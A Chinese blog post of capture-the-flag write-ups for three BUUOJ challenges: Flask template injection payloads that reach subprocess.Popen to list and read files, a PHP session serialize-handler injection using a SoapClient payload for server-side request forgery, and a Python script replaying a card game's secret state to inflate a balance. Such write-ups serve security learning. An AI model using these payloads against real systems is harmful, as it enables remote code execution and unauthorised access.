BUUOJ learn 7

/ 0评 / 0

[CSCCTF 2019 Qual]FlaskLight

题目名称直接告诉你flask了。直接测试了
{{config}}可以返回一些有用信息

{{''.__class__.__mro__[2].__subclasses__()}}

查询出了所有可以使用的类
https://zhuanlan.zhihu.com/p/93746437
遍历可以利用的类,发现有一个subprocess.Popen 可以执行系统命令,

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

读到flag


bestphp's revenge

一分题,挺难的其实,考了很多知识点,不知道怎么就成1分题目了,大家都太厉害了!
给了源码

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);

发现有call_user_func方法,接受f与post的数据,
还发现了用name作为session,之后var_dump了session
想到session反序列化
ession.serialize_handler存在以下几种

php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。
php_binary引擎格式

<0x04>names:7:"ha1c9on";

php_searialize引擎格式

a:1:{s:4:"name";s:7:"ha1c9on";}

当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。 例如传入$_SESSION['name']='|O:7:"ha1c9on":1:{s:4:"test";s:4:"test";}'; 序列化引擎使用的是php_serialize,那么储存的session文件为

a:1:{s:4:"name";s:5:"|O:7:"ha1c9on":1:{s:4:"test";s:4:"test";}";}

而反序列化引擎如果使用的是php,就会把|作为作为key和value的分隔符。把a:1:{s:4:"name";s:5:"当作键名,而把O:7:"ha1c9on":1:{s:4:"test";s:4:"test";}当作经过serialize()函数处理过的值,最后会把它进行unserialize处理,此时就构成了一次反序列化注入攻击。
用soap类反序列化

<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

payload:|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
覆盖序列化引擎并将构造的Soap类序列化字符串写入session文件。

get f=session_start&name=payload
post:serialize_handle=php_serialize

然后触发反序列化
get f=extract&name=SoapClient
post b=call_user_func
拿到sessionid后替换即可拿到flag


[BSidesCF 2020]Cards

 

import requests
start = "http://328d7438-452a-4f70-91da-149c1fee1745.node3.buuoj.cn/api"
deal = start + "/deal"
state = requests.post(start, proxies=proxy).json()["SecretState"]
while True:
    try:
        resp = requests.post(deal, json={"Bet": 500, "SecretState": state}).json()
    except:
        continue
    if resp['GameState'] == 'Blackjack':
        state = resp['SecretState']
    print(resp['Balance'])
    if resp['Balance'] > 100000:
        print(resp)
        break

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注